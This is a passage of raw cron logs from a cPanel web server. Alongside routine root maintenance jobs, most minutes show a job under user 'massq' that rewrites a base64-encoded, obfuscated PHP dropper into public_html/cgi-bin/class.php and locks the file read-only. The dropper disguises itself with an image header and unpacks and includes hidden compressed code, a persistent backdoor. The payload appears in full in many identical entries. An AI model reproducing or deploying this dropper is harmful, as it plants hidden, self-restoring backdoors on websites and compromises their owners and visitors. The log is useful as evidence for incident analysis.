bXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:16:01 server CROND[18089]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:17:01 server CROND[18482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:17:01 server CROND[18483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:17:01 server CROND[18484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:18:01 server CROND[18873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:18:01 server CROND[18874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:18:01 server CROND[18875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:19:01 server CROND[19264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:19:01 server CROND[19265]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:19:01 server CROND[19266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:20:01 server CROND[19807]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 02:20:01 server CROND[19806]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 02:20:01 server CROND[19809]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:20:01 server CROND[19815]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 02:20:01 server CROND[19813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:20:01 server CROND[19818]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:20:01 server CROND[19816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:20:01 server CROND[19817]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 02:20:01 server CROND[19814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:21:01 server CROND[20744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:21:01 server CROND[20745]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:21:01 server CROND[20747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:22:01 server CROND[21145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:22:01 server CROND[21146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:22:01 server CROND[21144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:23:01 server CROND[21563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:23:01 server CROND[21564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:23:01 server CROND[21565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:24:01 server CROND[21976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:24:01 server CROND[21975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:24:01 server CROND[21977]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:25:01 server CROND[22505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:25:01 server CROND[22506]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:25:01 server CROND[22509]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 02:25:01 server CROND[22511]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 13 02:25:01 server CROND[22512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:25:01 server CROND[22513]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:25:01 server CROND[22514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:25:01 server CROND[22510]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 02:26:01 server CROND[23516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:26:01 server CROND[23517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:26:01 server CROND[23518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:27:01 server CROND[23900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:27:01 server CROND[23902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 02:27:01 server CROND[23901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:27:01 server CROND[23903]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 02:28:01 server CROND[24356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:28:01 server CROND[24355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" 